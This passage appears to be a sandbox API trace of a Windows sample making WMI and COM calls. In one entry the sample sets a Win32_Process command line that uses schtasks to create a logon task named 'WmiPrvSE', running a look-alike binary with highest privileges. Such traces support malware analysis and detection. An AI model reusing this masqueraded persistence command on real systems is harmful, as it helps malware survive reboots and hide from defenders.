lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b5f88*=0, plFlavor=0x29b5f8c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b5f88*=8, plFlavor=0x29b5f8c*=32) returned 0x0 [0087.979] IWbemClassObject:Get (in: This=0x1bf45e10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b5f88*=8, plFlavor=0x29b5f8c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b5f88*=8, plFlavor=0x29b5f8c*=32) returned 0x0 [0087.979] IWbemClassObject:Put (This=0x1bf45e10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0087.980] IWbemClassObject:Get (in: This=0x1bf45e10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6018*=0, plFlavor=0x29b601c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6018*=13, plFlavor=0x29b601c*=32) returned 0x0 [0087.980] IWbemClassObject:Get (in: This=0x1bf45e10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6018*=13, plFlavor=0x29b601c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6018*=13, plFlavor=0x29b601c*=32) returned 0x0 [0087.980] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef6d00) returned 0x0 [0087.980] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0087.980] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0087.980] IUnknown:AddRef (This=0x1bef6d00) returned 0x3 [0087.980] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0087.981] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0087.981] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef6d08) returned 0x0 [0087.981] IMarshal:GetUnmarshalClass (in: This=0x1bef6d08, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0087.981] IUnknown:Release (This=0x1bef6d08) returned 0x3 [0087.981] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0087.981] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0087.981] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0087.981] IUnknown:Release (This=0x1bef6d00) returned 0x2 [0087.981] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0087.981] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0087.981] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0087.982] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0087.982] IUnknown:QueryInterface (in: This=0x1bef6d00, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0087.982] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0087.982] IUnknown:AddRef (This=0x1bef6d00) returned 0x3 [0087.982] IWbemClassObject:Put (This=0x1bf45e10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef6d00, varVal2=0x0), Type=0) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0087.982] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0087.983] IWbemServices:ExecMethod (in: This=0x1bf01d40, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf45e10, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf460c0, ppCallResult=0x0) returned 0x0 [0088.269] IWbemClassObject:Get (in: This=0x1bf460c0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6330*=0, plFlavor=0x29b6334*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x938, varVal2=0x0), pType=0x29b6330*=19, plFlavor=0x29b6334*=0) returned 0x0 [0088.270] IWbemClassObject:Get (in: This=0x1bf460c0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b6330*=19, plFlavor=0x29b6334*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x938, varVal2=0x0), pType=0x29b6330*=19, plFlavor=0x29b6334*=0) returned 0x0 [0088.271] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0088.271] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0088.271] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0088.271] IUnknown:Release (This=0x111f638) returned 0x1 [0088.273] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c021d60) returned 0x0 [0088.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021d60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0088.273] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021d60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea14f0) returned 0x0 [0088.273] WbemDefPath:IUnknown:Release (This=0x1c021d60) returned 0x0 [0088.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea14f0) returned 0x0 [0088.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0088.274] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0088.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0088.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0088.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c021c40) returned 0x0 [0088.274] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021c40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.274] WbemDefPath:IUnknown:Release (This=0x1c021c40) returned 0x3 [0088.274] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0088.274] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0088.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0088.274] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0088.274] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x1 [0088.274] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0088.274] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0088.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea14f0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea14f0) returned 0x0 [0088.274] WbemDefPath:IUnknown:AddRef (This=0x1bea14f0) returned 0x3 [0088.274] WbemDefPath:IUnknown:Release (This=0x1bea14f0) returned 0x2 [0088.274] WbemDefPath:IWbemPath:SetText (This=0x1bea14f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea14f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetText (in: This=0x1bea14f0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetText (in: This=0x1bea14f0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea14f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea14f0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0088.275] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea14f0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0088.275] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0088.275] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0088.275] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0088.275] IUnknown:Release (This=0x111f638) returned 0x1 [0088.277] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c021ee0) returned 0x0 [0088.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021ee0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0088.277] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021ee0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1430) returned 0x0 [0088.277] WbemDefPath:IUnknown:Release (This=0x1c021ee0) returned 0x0 [0088.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1430) returned 0x0 [0088.277] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0088.278] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0088.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0088.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0088.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c021e60) returned 0x0 [0088.278] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021e60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.278] WbemDefPath:IUnknown:Release (This=0x1c021e60) returned 0x3 [0088.278] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0088.278] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0088.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0088.278] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0088.278] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x1 [0088.278] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0088.278] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0088.278] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1430, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1430) returned 0x0 [0088.278] WbemDefPath:IUnknown:AddRef (This=0x1bea1430) returned 0x3 [0088.278] WbemDefPath:IUnknown:Release (This=0x1bea1430) returned 0x2 [0088.278] WbemDefPath:IWbemPath:SetText (This=0x1bea1430, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1430, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0088.278] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1430, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0088.279] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1430, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0088.279] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0088.279] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0088.279] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.279] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0088.279] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0088.279] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0088.279] IUnknown:Release (This=0x111f638) returned 0x1 [0088.281] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c021ea0) returned 0x0 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021ea0, 